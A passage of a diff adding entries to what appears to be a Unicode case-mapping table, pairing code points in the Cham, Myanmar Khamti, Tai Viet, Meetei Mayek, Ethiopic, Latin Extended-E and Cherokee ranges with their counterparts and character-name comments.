+ ["\uAA11", "\uAA11"], /* CHAM LETTER NHA */
+ ["\uAA12", "\uAA12"], /* CHAM LETTER NHJA */
+ ["\uAA13", "\uAA13"], /* CHAM LETTER TA */
+ ["\uAA14", "\uAA14"], /* CHAM LETTER THA */
+ ["\uAA15", "\uAA15"], /* CHAM LETTER DA */
+ ["\uAA16", "\uAA16"], /* CHAM LETTER DHA */
+ ["\uAA17", "\uAA17"], /* CHAM LETTER NUE */
+ ["\uAA18", "\uAA18"], /* CHAM LETTER NA */
+ ["\uAA19", "\uAA19"], /* CHAM LETTER DDA */
+ ["\uAA1A", "\uAA1A"], /* CHAM LETTER PA */
+ ["\uAA1B", "\uAA1B"], /* CHAM LETTER PPA */
+ ["\uAA1C", "\uAA1C"], /* CHAM LETTER PHA */
+ ["\uAA1D", "\uAA1D"], /* CHAM LETTER BA */
+ ["\uAA1E", "\uAA1E"], /* CHAM LETTER BHA */
+ ["\uAA1F", "\uAA1F"], /* CHAM LETTER MUE */
+ ["\uAA20", "\uAA20"], /* CHAM LETTER MA */
+ ["\uAA21", "\uAA21"], /* CHAM LETTER BBA */
+ ["\uAA22", "\uAA22"], /* CHAM LETTER YA */
+ ["\uAA23", "\uAA23"], /* CHAM LETTER RA */
+ ["\uAA24", "\uAA24"], /* CHAM LETTER LA */
+ ["\uAA25", "\uAA25"], /* CHAM LETTER VA */
+ ["\uAA26", "\uAA26"], /* CHAM LETTER SSA */
+ ["\uAA27", "\uAA27"], /* CHAM LETTER SA */
+ ["\uAA28", "\uAA28"], /* CHAM LETTER HA */
+ ["\uAA29", "\uAA29"], /* CHAM VOWEL SIGN AA */
+ ["\uAA2A", "\uAA2A"], /* CHAM VOWEL SIGN I */
+ ["\uAA2B", "\uAA2B"], /* CHAM VOWEL SIGN II */
+ ["\uAA2C", "\uAA2C"], /* CHAM VOWEL SIGN EI */
+ ["\uAA2D", "\uAA2D"], /* CHAM VOWEL SIGN U */
+ ["\uAA2E", "\uAA2E"], /* CHAM VOWEL SIGN OE */
+ ["\uAA2F", "\uAA2F"], /* CHAM VOWEL SIGN O */
+ ["\uAA30", "\uAA30"], /* CHAM VOWEL SIGN AI */
+ ["\uAA31", "\uAA31"], /* CHAM VOWEL SIGN AU */
+ ["\uAA32", "\uAA32"], /* CHAM VOWEL SIGN UE */
+ ["\uAA33", "\uAA33"], /* CHAM CONSONANT SIGN YA */
+ ["\uAA34", "\uAA34"], /* CHAM CONSONANT SIGN RA */
+ ["\uAA35", "\uAA35"], /* CHAM CONSONANT SIGN LA */
+ ["\uAA36", "\uAA36"], /* CHAM CONSONANT SIGN WA */
+ ["\uAA37", "\uAA37"],
+ ["\uAA38", "\uAA38"],
+ ["\uAA39", "\uAA39"],
+ ["\uAA3A", "\uAA3A"],
+ ["\uAA3B", "\uAA3B"],
+ ["\uAA3C", "\uAA3C"],
+ ["\uAA3D", "\uAA3D"],
+ ["\uAA3E", "\uAA3E"],
+ ["\uAA3F", "\uAA3F"],
+ ["\uAA40", "\uAA40"], /* CHAM LETTER FINAL K */
+ ["\uAA41", "\uAA41"], /* CHAM LETTER FINAL G */
+ ["\uAA42", "\uAA42"], /* CHAM LETTER FINAL NG */
+ ["\uAA43", "\uAA43"], /* CHAM CONSONANT SIGN FINAL NG */
+ ["\uAA44", "\uAA44"], /* CHAM LETTER FINAL CH */
+ ["\uAA45", "\uAA45"], /* CHAM LETTER FINAL T */
+ ["\uAA46", "\uAA46"], /* CHAM LETTER FINAL N */
+ ["\uAA47", "\uAA47"], /* CHAM LETTER FINAL P */
+ ["\uAA48", "\uAA48"], /* CHAM LETTER FINAL Y */
+ ["\uAA49", "\uAA49"], /* CHAM LETTER FINAL R */
+ ["\uAA4A", "\uAA4A"], /* CHAM LETTER FINAL L */
+ ["\uAA4B", "\uAA4B"], /* CHAM LETTER FINAL SS */
+ ["\uAA4C", "\uAA4C"], /* CHAM CONSONANT SIGN FINAL M */
+ ["\uAA4D", "\uAA4D"], /* CHAM CONSONANT SIGN FINAL H */
+ ["\uAA4E", "\uAA4E"],
+ ["\uAA4F", "\uAA4F"],
+ ["\uAA50", "\uAA50"], /* CHAM DIGIT ZERO */
+ ["\uAA51", "\uAA51"], /* CHAM DIGIT ONE */
+ ["\uAA52", "\uAA52"], /* CHAM DIGIT TWO */
+ ["\uAA53", "\uAA53"], /* CHAM DIGIT THREE */
+ ["\uAA54", "\uAA54"], /* CHAM DIGIT FOUR */
+ ["\uAA55", "\uAA55"], /* CHAM DIGIT FIVE */
+ ["\uAA56", "\uAA56"], /* CHAM DIGIT SIX */
+ ["\uAA57", "\uAA57"], /* CHAM DIGIT SEVEN */
+ ["\uAA58", "\uAA58"], /* CHAM DIGIT EIGHT */
+ ["\uAA59", "\uAA59"], /* CHAM DIGIT NINE */
+ ["\uAA5A", "\uAA5A"],
+ ["\uAA5B", "\uAA5B"],
+ ["\uAA5C", "\uAA5C"], /* CHAM PUNCTUATION SPIRAL */
+ ["\uAA5D", "\uAA5D"], /* CHAM PUNCTUATION DANDA */
+ ["\uAA5E", "\uAA5E"], /* CHAM PUNCTUATION DOUBLE DANDA */
+ ["\uAA5F", "\uAA5F"], /* CHAM PUNCTUATION TRIPLE DANDA */
+ ["\uAA60", "\uAA60"], /* MYANMAR LETTER KHAMTI GA */
+ ["\uAA61", "\uAA61"], /* MYANMAR LETTER KHAMTI CA */
+ ["\uAA62", "\uAA62"], /* MYANMAR LETTER KHAMTI CHA */
+ ["\uAA63", "\uAA63"], /* MYANMAR LETTER KHAMTI JA */
+ ["\uAA64", "\uAA64"], /* MYANMAR LETTER KHAMTI JHA */
+ ["\uAA65", "\uAA65"], /* MYANMAR LETTER KHAMTI NYA */
+ ["\uAA66", "\uAA66"], /* MYANMAR LETTER KHAMTI TTA */
+ ["\uAA67", "\uAA67"], /* MYANMAR LETTER KHAMTI TTHA */
+ ["\uAA68", "\uAA68"], /* MYANMAR LETTER KHAMTI DDA */
+ ["\uAA69", "\uAA69"], /* MYANMAR LETTER KHAMTI DDHA */
+ ["\uAA6A", "\uAA6A"], /* MYANMAR LETTER KHAMTI DHA */
+ ["\uAA6B", "\uAA6B"], /* MYANMAR LETTER KHAMTI NA */
+ ["\uAA6C", "\uAA6C"], /* MYANMAR LETTER KHAMTI SA */
+ ["\uAA6D", "\uAA6D"], /* MYANMAR LETTER KHAMTI HA */
+ ["\uAA6E", "\uAA6E"], /* MYANMAR LETTER KHAMTI HHA */
+ ["\uAA6F", "\uAA6F"], /* MYANMAR LETTER KHAMTI FA */
+ ["\uAA70", "\uAA70"], /* MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION */
+ ["\uAA71", "\uAA71"], /* MYANMAR LETTER KHAMTI XA */
+ ["\uAA72", "\uAA72"], /* MYANMAR LETTER KHAMTI ZA */
+ ["\uAA73", "\uAA73"], /* MYANMAR LETTER KHAMTI RA */
+ ["\uAA74", "\uAA74"], /* MYANMAR LOGOGRAM KHAMTI OAY */
+ ["\uAA75", "\uAA75"], /* MYANMAR LOGOGRAM KHAMTI QN */
+ ["\uAA76", "\uAA76"], /* MYANMAR LOGOGRAM KHAMTI HM */
+ ["\uAA77", "\uAA77"], /* MYANMAR SYMBOL AITON EXCLAMATION */
+ ["\uAA78", "\uAA78"], /* MYANMAR SYMBOL AITON ONE */
+ ["\uAA79", "\uAA79"], /* MYANMAR SYMBOL AITON TWO */
+ ["\uAA7A", "\uAA7A"], /* MYANMAR LETTER AITON RA */
+ ["\uAA7B", "\uAA7B"], /* MYANMAR SIGN PAO KAREN TONE */
+ ["\uAA7C", "\uAA7C"], /* MYANMAR SIGN TAI LAING TONE-2 */
+ ["\uAA7D", "\uAA7D"], /* MYANMAR SIGN TAI LAING TONE-5 */
+ ["\uAA7E", "\uAA7E"], /* MYANMAR LETTER SHWE PALAUNG CHA */
+ ["\uAA7F", "\uAA7F"], /* MYANMAR LETTER SHWE PALAUNG SHA */
+ ["\uAA80", "\uAA80"], /* TAI VIET LETTER LOW KO */
+ ["\uAA81", "\uAA81"], /* TAI VIET LETTER HIGH KO */
+ ["\uAA82", "\uAA82"], /* TAI VIET LETTER LOW KHO */
+ ["\uAA83", "\uAA83"], /* TAI VIET LETTER HIGH KHO */
+ ["\uAA84", "\uAA84"], /* TAI VIET LETTER LOW KHHO */
+ ["\uAA85", "\uAA85"], /* TAI VIET LETTER HIGH KHHO */
+ ["\uAA86", "\uAA86"], /* TAI VIET LETTER LOW GO */
+ ["\uAA87", "\uAA87"], /* TAI VIET LETTER HIGH GO */
+ ["\uAA88", "\uAA88"], /* TAI VIET LETTER LOW NGO */
+ ["\uAA89", "\uAA89"], /* TAI VIET LETTER HIGH NGO */
+ ["\uAA8A", "\uAA8A"], /* TAI VIET LETTER LOW CO */
+ ["\uAA8B", "\uAA8B"], /* TAI VIET LETTER HIGH CO */
+ ["\uAA8C", "\uAA8C"], /* TAI VIET LETTER LOW CHO */
+ ["\uAA8D", "\uAA8D"], /* TAI VIET LETTER HIGH CHO */
+ ["\uAA8E", "\uAA8E"], /* TAI VIET LETTER LOW SO */
+ ["\uAA8F", "\uAA8F"], /* TAI VIET LETTER HIGH SO */
+ ["\uAA90", "\uAA90"], /* TAI VIET LETTER LOW NYO */
+ ["\uAA91", "\uAA91"], /* TAI VIET LETTER HIGH NYO */
+ ["\uAA92", "\uAA92"], /* TAI VIET LETTER LOW DO */
+ ["\uAA93", "\uAA93"], /* TAI VIET LETTER HIGH DO */
+ ["\uAA94", "\uAA94"], /* TAI VIET LETTER LOW TO */
+ ["\uAA95", "\uAA95"], /* TAI VIET LETTER HIGH TO */
+ ["\uAA96", "\uAA96"], /* TAI VIET LETTER LOW THO */
+ ["\uAA97", "\uAA97"], /* TAI VIET LETTER HIGH THO */
+ ["\uAA98", "\uAA98"], /* TAI VIET LETTER LOW NO */
+ ["\uAA99", "\uAA99"], /* TAI VIET LETTER HIGH NO */
+ ["\uAA9A", "\uAA9A"], /* TAI VIET LETTER LOW BO */
+ ["\uAA9B", "\uAA9B"], /* TAI VIET LETTER HIGH BO */
+ ["\uAA9C", "\uAA9C"], /* TAI VIET LETTER LOW PO */
+ ["\uAA9D", "\uAA9D"], /* TAI VIET LETTER HIGH PO */
+ ["\uAA9E", "\uAA9E"], /* TAI VIET LETTER LOW PHO */
+ ["\uAA9F", "\uAA9F"], /* TAI VIET LETTER HIGH PHO */
+ ["\uAAA0", "\uAAA0"], /* TAI VIET LETTER LOW FO */
+ ["\uAAA1", "\uAAA1"], /* TAI VIET LETTER HIGH FO */
+ ["\uAAA2", "\uAAA2"], /* TAI VIET LETTER LOW MO */
+ ["\uAAA3", "\uAAA3"], /* TAI VIET LETTER HIGH MO */
+ ["\uAAA4", "\uAAA4"], /* TAI VIET LETTER LOW YO */
+ ["\uAAA5", "\uAAA5"], /* TAI VIET LETTER HIGH YO */
+ ["\uAAA6", "\uAAA6"], /* TAI VIET LETTER LOW RO */
+ ["\uAAA7", "\uAAA7"], /* TAI VIET LETTER HIGH RO */
+ ["\uAAA8", "\uAAA8"], /* TAI VIET LETTER LOW LO */
+ ["\uAAA9", "\uAAA9"], /* TAI VIET LETTER HIGH LO */
+ ["\uAAAA", "\uAAAA"], /* TAI VIET LETTER LOW VO */
+ ["\uAAAB", "\uAAAB"], /* TAI VIET LETTER HIGH VO */
+ ["\uAAAC", "\uAAAC"], /* TAI VIET LETTER LOW HO */
+ ["\uAAAD", "\uAAAD"], /* TAI VIET LETTER HIGH HO */
+ ["\uAAAE", "\uAAAE"], /* TAI VIET LETTER LOW O */
+ ["\uAAAF", "\uAAAF"], /* TAI VIET LETTER HIGH O */
+ ["\uAAB0", "\uAAB0"], /* TAI VIET MAI KANG */
+ ["\uAAB1", "\uAAB1"], /* TAI VIET VOWEL AA */
+ ["\uAAB2", "\uAAB2"], /* TAI VIET VOWEL I */
+ ["\uAAB3", "\uAAB3"], /* TAI VIET VOWEL UE */
+ ["\uAAB4", "\uAAB4"], /* TAI VIET VOWEL U */
+ ["\uAAB5", "\uAAB5"], /* TAI VIET VOWEL E */
+ ["\uAAB6", "\uAAB6"], /* TAI VIET VOWEL O */
+ ["\uAAB7", "\uAAB7"], /* TAI VIET MAI KHIT */
+ ["\uAAB8", "\uAAB8"], /* TAI VIET VOWEL IA */
+ ["\uAAB9", "\uAAB9"], /* TAI VIET VOWEL UEA */
+ ["\uAABA", "\uAABA"], /* TAI VIET VOWEL UA */
+ ["\uAABB", "\uAABB"], /* TAI VIET VOWEL AUE */
+ ["\uAABC", "\uAABC"], /* TAI VIET VOWEL AY */
+ ["\uAABD", "\uAABD"], /* TAI VIET VOWEL AN */
+ ["\uAABE", "\uAABE"], /* TAI VIET VOWEL AM */
+ ["\uAABF", "\uAABF"], /* TAI VIET TONE MAI EK */
+ ["\uAAC0", "\uAAC0"], /* TAI VIET TONE MAI NUENG */
+ ["\uAAC1", "\uAAC1"], /* TAI VIET TONE MAI THO */
+ ["\uAAC2", "\uAAC2"], /* TAI VIET TONE MAI SONG */
+ ["\uAAC3", "\uAAC3"],
+ ["\uAAC4", "\uAAC4"],
+ ["\uAAC5", "\uAAC5"],
+ ["\uAAC6", "\uAAC6"],
+ ["\uAAC7", "\uAAC7"],
+ ["\uAAC8", "\uAAC8"],
+ ["\uAAC9", "\uAAC9"],
+ ["\uAACA", "\uAACA"],
+ ["\uAACB", "\uAACB"],
+ ["\uAACC", "\uAACC"],
+ ["\uAACD", "\uAACD"],
+ ["\uAACE", "\uAACE"],
+ ["\uAACF", "\uAACF"],
+ ["\uAAD0", "\uAAD0"],
+ ["\uAAD1", "\uAAD1"],
+ ["\uAAD2", "\uAAD2"],
+ ["\uAAD3", "\uAAD3"],
+ ["\uAAD4", "\uAAD4"],
+ ["\uAAD5", "\uAAD5"],
+ ["\uAAD6", "\uAAD6"],
+ ["\uAAD7", "\uAAD7"],
+ ["\uAAD8", "\uAAD8"],
+ ["\uAAD9", "\uAAD9"],
+ ["\uAADA", "\uAADA"],
+ ["\uAADB", "\uAADB"], /* TAI VIET SYMBOL KON */
+ ["\uAADC", "\uAADC"], /* TAI VIET SYMBOL NUENG */
+ ["\uAADD", "\uAADD"], /* TAI VIET SYMBOL SAM */
+ ["\uAADE", "\uAADE"], /* TAI VIET SYMBOL HO HOI */
+ ["\uAADF", "\uAADF"], /* TAI VIET SYMBOL KOI KOI */
+ ["\uAAE0", "\uAAE0"], /* MEETEI MAYEK LETTER E */
+ ["\uAAE1", "\uAAE1"], /* MEETEI MAYEK LETTER O */
+ ["\uAAE2", "\uAAE2"], /* MEETEI MAYEK LETTER CHA */
+ ["\uAAE3", "\uAAE3"], /* MEETEI MAYEK LETTER NYA */
+ ["\uAAE4", "\uAAE4"], /* MEETEI MAYEK LETTER TTA */
+ ["\uAAE5", "\uAAE5"], /* MEETEI MAYEK LETTER TTHA */
+ ["\uAAE6", "\uAAE6"], /* MEETEI MAYEK LETTER DDA */
+ ["\uAAE7", "\uAAE7"], /* MEETEI MAYEK LETTER DDHA */
+ ["\uAAE8", "\uAAE8"], /* MEETEI MAYEK LETTER NNA */
+ ["\uAAE9", "\uAAE9"], /* MEETEI MAYEK LETTER SHA */
+ ["\uAAEA", "\uAAEA"], /* MEETEI MAYEK LETTER SSA */
+ ["\uAAEB", "\uAAEB"], /* MEETEI MAYEK VOWEL SIGN II */
+ ["\uAAEC", "\uAAEC"], /* MEETEI MAYEK VOWEL SIGN UU */
+ ["\uAAED", "\uAAED"], /* MEETEI MAYEK VOWEL SIGN AAI */
+ ["\uAAEE", "\uAAEE"], /* MEETEI MAYEK VOWEL SIGN AU */
+ ["\uAAEF", "\uAAEF"], /* MEETEI MAYEK VOWEL SIGN AAU */
+ ["\uAAF0", "\uAAF0"], /* MEETEI MAYEK CHEIKHAN */
+ ["\uAAF1", "\uAAF1"], /* MEETEI MAYEK AHANG KHUDAM */
+ ["\uAAF2", "\uAAF2"], /* MEETEI MAYEK ANJI */
+ ["\uAAF3", "\uAAF3"], /* MEETEI MAYEK SYLLABLE REPETITION MARK */
+ ["\uAAF4", "\uAAF4"], /* MEETEI MAYEK WORD REPETITION MARK */
+ ["\uAAF5", "\uAAF5"], /* MEETEI MAYEK VOWEL SIGN VISARGA */
+ ["\uAAF6", "\uAAF6"], /* MEETEI MAYEK VIRAMA */
+ ["\uAAF7", "\uAAF7"],
+ ["\uAAF8", "\uAAF8"],
+ ["\uAAF9", "\uAAF9"],
+ ["\uAAFA", "\uAAFA"],
+ ["\uAAFB", "\uAAFB"],
+ ["\uAAFC", "\uAAFC"],
+ ["\uAAFD", "\uAAFD"],
+ ["\uAAFE", "\uAAFE"],
+ ["\uAAFF", "\uAAFF"],
+ ["\uAB00", "\uAB00"],
+ ["\uAB01", "\uAB01"], /* ETHIOPIC SYLLABLE TTHU */
+ ["\uAB02", "\uAB02"], /* ETHIOPIC SYLLABLE TTHI */
+ ["\uAB03", "\uAB03"], /* ETHIOPIC SYLLABLE TTHAA */
+ ["\uAB04", "\uAB04"], /* ETHIOPIC SYLLABLE TTHEE */
+ ["\uAB05", "\uAB05"], /* ETHIOPIC SYLLABLE TTHE */
+ ["\uAB06", "\uAB06"], /* ETHIOPIC SYLLABLE TTHO */
+ ["\uAB07", "\uAB07"],
+ ["\uAB08", "\uAB08"],
+ ["\uAB09", "\uAB09"], /* ETHIOPIC SYLLABLE DDHU */
+ ["\uAB0A", "\uAB0A"], /* ETHIOPIC SYLLABLE DDHI */
+ ["\uAB0B", "\uAB0B"], /* ETHIOPIC SYLLABLE DDHAA */
+ ["\uAB0C", "\uAB0C"], /* ETHIOPIC SYLLABLE DDHEE */
+ ["\uAB0D", "\uAB0D"], /* ETHIOPIC SYLLABLE DDHE */
+ ["\uAB0E", "\uAB0E"], /* ETHIOPIC SYLLABLE DDHO */
+ ["\uAB0F", "\uAB0F"],
+ ["\uAB10", "\uAB10"],
+ ["\uAB11", "\uAB11"], /* ETHIOPIC SYLLABLE DZU */
+ ["\uAB12", "\uAB12"], /* ETHIOPIC SYLLABLE DZI */
+ ["\uAB13", "\uAB13"], /* ETHIOPIC SYLLABLE DZAA */
+ ["\uAB14", "\uAB14"], /* ETHIOPIC SYLLABLE DZEE */
+ ["\uAB15", "\uAB15"], /* ETHIOPIC SYLLABLE DZE */
+ ["\uAB16", "\uAB16"], /* ETHIOPIC SYLLABLE DZO */
+ ["\uAB17", "\uAB17"],
+ ["\uAB18", "\uAB18"],
+ ["\uAB19", "\uAB19"],
+ ["\uAB1A", "\uAB1A"],
+ ["\uAB1B", "\uAB1B"],
+ ["\uAB1C", "\uAB1C"],
+ ["\uAB1D", "\uAB1D"],
+ ["\uAB1E", "\uAB1E"],
+ ["\uAB1F", "\uAB1F"],
+ ["\uAB20", "\uAB20"], /* ETHIOPIC SYLLABLE CCHHA */
+ ["\uAB21", "\uAB21"], /* ETHIOPIC SYLLABLE CCHHU */
+ ["\uAB22", "\uAB22"], /* ETHIOPIC SYLLABLE CCHHI */
+ ["\uAB23", "\uAB23"], /* ETHIOPIC SYLLABLE CCHHAA */
+ ["\uAB24", "\uAB24"], /* ETHIOPIC SYLLABLE CCHHEE */
+ ["\uAB25", "\uAB25"], /* ETHIOPIC SYLLABLE CCHHE */
+ ["\uAB26", "\uAB26"], /* ETHIOPIC SYLLABLE CCHHO */
+ ["\uAB27", "\uAB27"],
+ ["\uAB28", "\uAB28"], /* ETHIOPIC SYLLABLE BBA */
+ ["\uAB29", "\uAB29"], /* ETHIOPIC SYLLABLE BBU */
+ ["\uAB2A", "\uAB2A"], /* ETHIOPIC SYLLABLE BBI */
+ ["\uAB2B", "\uAB2B"], /* ETHIOPIC SYLLABLE BBAA */
+ ["\uAB2C", "\uAB2C"], /* ETHIOPIC SYLLABLE BBEE */
+ ["\uAB2D", "\uAB2D"], /* ETHIOPIC SYLLABLE BBE */
+ ["\uAB2E", "\uAB2E"], /* ETHIOPIC SYLLABLE BBO */
+ ["\uAB2F", "\uAB2F"],
+ ["\uAB30", "\uAB30"], /* LATIN SMALL LETTER BARRED ALPHA */
+ ["\uAB31", "\uAB31"], /* LATIN SMALL LETTER A REVERSED-SCHWA */
+ ["\uAB32", "\uAB32"], /* LATIN SMALL LETTER BLACKLETTER E */
+ ["\uAB33", "\uAB33"], /* LATIN SMALL LETTER BARRED E */
+ ["\uAB34", "\uAB34"], /* LATIN SMALL LETTER E WITH FLOURISH */
+ ["\uAB35", "\uAB35"], /* LATIN SMALL LETTER LENIS F */
+ ["\uAB36", "\uAB36"], /* LATIN SMALL LETTER SCRIPT G WITH CROSSED-TAIL */
+ ["\uAB37", "\uAB37"], /* LATIN SMALL LETTER L WITH INVERTED LAZY S */
+ ["\uAB38", "\uAB38"], /* LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE */
+ ["\uAB39", "\uAB39"], /* LATIN SMALL LETTER L WITH MIDDLE RING */
+ ["\uAB3A", "\uAB3A"], /* LATIN SMALL LETTER M WITH CROSSED-TAIL */
+ ["\uAB3B", "\uAB3B"], /* LATIN SMALL LETTER N WITH CROSSED-TAIL */
+ ["\uAB3C", "\uAB3C"], /* LATIN SMALL LETTER ENG WITH CROSSED-TAIL */
+ ["\uAB3D", "\uAB3D"], /* LATIN SMALL LETTER BLACKLETTER O */
+ ["\uAB3E", "\uAB3E"], /* LATIN SMALL LETTER BLACKLETTER O WITH STROKE */
+ ["\uAB3F", "\uAB3F"], /* LATIN SMALL LETTER OPEN O WITH STROKE */
+ ["\uAB40", "\uAB40"], /* LATIN SMALL LETTER INVERTED OE */
+ ["\uAB41", "\uAB41"], /* LATIN SMALL LETTER TURNED OE WITH STROKE */
+ ["\uAB42", "\uAB42"], /* LATIN SMALL LETTER TURNED OE WITH HORIZONTAL STROKE */
+ ["\uAB43", "\uAB43"], /* LATIN SMALL LETTER TURNED O OPEN-O */
+ ["\uAB44", "\uAB44"], /* LATIN SMALL LETTER TURNED O OPEN-O WITH STROKE */
+ ["\uAB45", "\uAB45"], /* LATIN SMALL LETTER STIRRUP R */
+ ["\uAB46", "\uAB46"], /* LATIN LETTER SMALL CAPITAL R WITH RIGHT LEG */
+ ["\uAB47", "\uAB47"], /* LATIN SMALL LETTER R WITHOUT HANDLE */
+ ["\uAB48", "\uAB48"], /* LATIN SMALL LETTER DOUBLE R */
+ ["\uAB49", "\uAB49"], /* LATIN SMALL LETTER R WITH CROSSED-TAIL */
+ ["\uAB4A", "\uAB4A"], /* LATIN SMALL LETTER DOUBLE R WITH CROSSED-TAIL */
+ ["\uAB4B", "\uAB4B"], /* LATIN SMALL LETTER SCRIPT R */
+ ["\uAB4C", "\uAB4C"], /* LATIN SMALL LETTER SCRIPT R WITH RING */
+ ["\uAB4D", "\uAB4D"], /* LATIN SMALL LETTER BASELINE ESH */
+ ["\uAB4E", "\uAB4E"], /* LATIN SMALL LETTER U WITH SHORT RIGHT LEG */
+ ["\uAB4F", "\uAB4F"], /* LATIN SMALL LETTER U BAR WITH SHORT RIGHT LEG */
+ ["\uAB50", "\uAB50"], /* LATIN SMALL LETTER UI */
+ ["\uAB51", "\uAB51"], /* LATIN SMALL LETTER TURNED UI */
+ ["\uAB52", "\uAB52"], /* LATIN SMALL LETTER U WITH LEFT HOOK */
+ ["\uA7B3", "\uAB53"], /* LATIN SMALL LETTER CHI */
+ ["\uAB54", "\uAB54"], /* LATIN SMALL LETTER CHI WITH LOW RIGHT RING */
+ ["\uAB55", "\uAB55"], /* LATIN SMALL LETTER CHI WITH LOW LEFT SERIF */
+ ["\uAB56", "\uAB56"], /* LATIN SMALL LETTER X WITH LOW RIGHT RING */
+ ["\uAB57", "\uAB57"], /* LATIN SMALL LETTER X WITH LONG LEFT LEG */
+ ["\uAB58", "\uAB58"], /* LATIN SMALL LETTER X WITH LONG LEFT LEG AND LOW RIGHT RING */
+ ["\uAB59", "\uAB59"], /* LATIN SMALL LETTER X WITH LONG LEFT LEG WITH SERIF */
+ ["\uAB5A", "\uAB5A"], /* LATIN SMALL LETTER Y WITH SHORT RIGHT LEG */
+ ["\uAB5B", "\uAB5B"], /* MODIFIER BREVE WITH INVERTED BREVE */
+ ["\uAB5C", "\uAB5C"], /* MODIFIER LETTER SMALL HENG */
+ ["\uAB5D", "\uAB5D"], /* MODIFIER LETTER SMALL L WITH INVERTED LAZY S */
+ ["\uAB5E", "\uAB5E"], /* MODIFIER LETTER SMALL L WITH MIDDLE TILDE */
+ ["\uAB5F", "\uAB5F"], /* MODIFIER LETTER SMALL U WITH LEFT HOOK */
+ ["\uAB60", "\uAB60"], /* LATIN SMALL LETTER SAKHA YAT */
+ ["\uAB61", "\uAB61"], /* LATIN SMALL LETTER IOTIFIED E */
+ ["\uAB62", "\uAB62"], /* LATIN SMALL LETTER OPEN OE */
+ ["\uAB63", "\uAB63"], /* LATIN SMALL LETTER UO */
+ ["\uAB64", "\uAB64"], /* LATIN SMALL LETTER INVERTED ALPHA */
+ ["\uAB65", "\uAB65"], /* GREEK LETTER SMALL CAPITAL OMEGA */
+ ["\uAB66", "\uAB66"], /* LATIN SMALL LETTER DZ DIGRAPH WITH RETROFLEX HOOK */
+ ["\uAB67", "\uAB67"], /* LATIN SMALL LETTER TS DIGRAPH WITH RETROFLEX HOOK */
+ ["\uAB68", "\uAB68"], /* LATIN SMALL LETTER TURNED R WITH MIDDLE TILDE */
+ ["\uAB69", "\uAB69"], /* MODIFIER LETTER SMALL TURNED W */
+ ["\uAB6A", "\uAB6A"], /* MODIFIER LETTER LEFT TACK */
+ ["\uAB6B", "\uAB6B"], /* MODIFIER LETTER RIGHT TACK */
+ ["\uAB6C", "\uAB6C"],
+ ["\uAB6D", "\uAB6D"],
+ ["\uAB6E", "\uAB6E"],
+ ["\uAB6F", "\uAB6F"],
+ ["\u13A0", "\uAB70"], /* CHEROKEE SMALL LETTER A */
+ ["\u13A1", "\uAB71"], /* CHEROKEE SMALL LETTER E */
+ ["\u13A2", "\uAB72"], /* CHEROKEE SMALL LETTER I */
+ ["\u13A3", "\uAB73"], /* CHEROKEE SMALL LETTER O */
+ ["\u13A4", "\uAB74"], /* CHEROKEE SMALL LETTER U */
+ ["\u13A5", "\uAB75"], /* CHEROKEE SMALL LETTER V */
+ ["\u13A6", "\uAB76"], /* CHEROKEE SMALL LETTER GA */
+ ["\u13A7", "\uAB77"], /* CHEROKEE SMALL LETTER KA */
+ ["\u13A8", "\uAB78"], /* CHEROKEE SMALL LETTER GE */
+ ["\u13A9", "\uAB79"], /* CHEROKEE SMALL LETTER GI */
+ ["\u13AA", "\uAB7A"], /* CHEROKEE SMALL LETTER GO */
+ ["\u13AB", "\uAB7B"], /* CHEROKEE SMALL LETTER GU */
+ ["\u13AC", "\uAB7C"], /* CHEROKEE SMALL LETTER GV */
+ ["\u13AD", "\uAB7D"], /* CHEROKEE SMALL LETTER HA */
+ ["\u13AE", "\uAB7E"], /* CHEROKEE SMALL LETTER HE */
+ ["\u13AF", "\uAB7F"], /* CHEROKEE SMALL LETTER HI */
+ ["\u13B0", "\uAB80"], /* CHEROKEE SMALL LETTER HO */
+ ["\u13B1", "\uAB81"], /* CHEROKEE SMALL LETTER HU */
+ ["\u13B2", "\uAB82"], /* CHEROKEE SMALL LETTER HV */
+ ["\u13B3", "\uAB83"], /* CHEROKEE SMALL LETTER LA */
+ ["\u13B4", "\uAB84"], /* CHEROKEE SMALL LETTER LE */
+ ["\u13B5", "\uAB85"], /* CHEROKEE SMALL LETTER LI */
+ ["\u13B6", "\uAB86"], /* CHEROKEE SMALL LETTER LO */
+ ["\u13B7", "\uAB87"], /* CHEROKEE SMALL LETTER LU */
+ ["\u13B8", "\uAB88"], /* CHEROKEE SMALL LETTER LV */
+ ["\u13B9", "\uAB89"], /* CHEROKEE SMALL LETTER MA */
+ ["\u13BA", "\uAB8A"], /* CHEROKEE SMALL LETTER ME */
+ ["\u13BB", "\uAB8B"], /* CHEROKEE SMALL LETTER MI */
+ ["\u13BC", "\uAB8C"], /* CHEROKEE SMALL LETTER MO */
+ ["\u13BD", "\uAB8D"], /* CHEROKEE SMALL LETTER MU */
+ ["\u13BE", "\uAB8E"], /* CHEROKEE SMALL LETTER NA */
+ ["\u13BF", "\uAB8F"], /* CHEROKEE SMALL LETTER HNA */
+ ["\u13C0", "\uAB90"], /* CHEROKEE SMALL LETTER NAH */
+ ["\u13C1", "\uAB91"], /* CHEROKEE SMALL LETTER NE */
+ ["\u13C2", "\uAB92"], /* CHEROKEE SMALL LETTER NI */
+ ["\u13C3", "\uAB93"], /* CHEROKEE SMALL LETTER NO */
+ ["\u13C4", "\uAB94"], /* CHEROKEE SMALL LETTER NU */
+ ["\u13C5", "\uAB95"], /* CHEROKEE SMALL LETTER NV */
+ ["\u13C6", "\uAB96"], /* CHEROKEE SMALL LETTER QUA */
+ ["\u13C7", "\uAB97"], /* CHEROKEE SMALL LETTER QUE */
+ ["\u13C8", "\uAB98"], /* CHEROKEE SMALL LETTER QUI */
+ ["\u13C9", "\uAB99"], /* CHEROKEE SMALL LETTER QUO */
+ ["\u13CA", "\uAB9A"], /* CHEROKEE SMALL LETTER QUU */
+ ["\u13CB", "\uAB9B"], /* CHEROKEE SMALL LETTER QUV */
+ ["\u13CC", "\uAB9C"], /* CHEROKEE SMALL LETTER SA */
+ ["\u13CD", "\uAB9D"], /* CHEROKEE SMALL LETTER S */
+ ["\u13CE", "\uAB9E"], /* CHEROKEE SMALL LETTER SE */
+ ["\u13CF", "\uAB9F"], /* CHEROKEE SMALL LETTER SI */
+ ["\u13D0", "\uABA0"], /* CHEROKEE SMALL LETTER SO */
+ ["\u13D1", "\uABA1"], /* CHEROKEE SMALL LETTER SU */
+ ["\u13D2", "\uABA2"], /* CHEROKEE SMALL LETTER SV */
